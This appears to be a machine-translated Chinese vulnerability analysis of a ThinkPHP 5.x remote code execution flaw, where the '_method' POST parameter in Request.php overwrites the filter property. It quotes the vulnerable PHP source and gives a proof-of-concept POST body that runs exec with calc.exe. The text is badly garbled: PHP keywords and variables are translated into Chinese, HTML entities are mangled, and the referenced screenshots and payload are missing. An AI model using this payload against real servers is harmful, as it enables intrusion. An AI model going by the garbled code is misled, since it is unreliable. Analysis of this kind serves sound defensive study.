前言 最近,已经启动了完整版的Thinkphp5.0。*代码执行,完整版的5.1和5.2也在生产环境中执行代码。 漏洞分析: 文件位置:\ thinkphp \ library \ think \ Request.php /** * 当前请求类型 * @access public * @param bool $ origin 是否获取原始请求类型 * @return 字符串 * / public function method($ origin = false) { if ($ origin) { // 获取原始请求类型 返回 $ this->服务器('REQUEST_METHOD') 'GET'; } elseif (!$ this-> method) { if (isset($ _ POST [$ this-> config ['var_method']])) { $ this->方法 = strtoupper($ _ POST [$ this-> config ['var_method']]); $方法 = strtolower($ this->方法); $ this-> {$ method} = $ _POST; } elseif ($ this-> server('HTTP_X_HTTP_METHOD_OVERRIDE')) { $ this->方法 = strtoupper($ this-> server('HTTP_X_HTTP_METHOD_OVERRIDE')); } else { $ this->方法 = $ this->服务器('REQUEST_METHOD') 'GET'; } } 返回 $ this->方法; } 其中: $ this->方法 = strtoupper($ _ POST [$ this-> config ['var_method']]); '$ method = strtolower($ this-> method); $ this-> {$ method} = $ _POST; $ method变量是$ this->方法,它等同于POST“_method”参数值。 那里有一个可变的覆盖范围 我们可以覆盖$ filter属性的值(POC如下) C=&EXEC放大器; F=&CALC.EXE放大器;&安培; _method=滤波器&安培; 访问如下所示:
将生成警告级别异常,导致程序终止 如何触发: 如果设置忽略了异常提示,如下所示:
项目本身需要屏蔽异常和错误,因此这种配置是正常配置。 有效负载(POST请求):
弹出计算器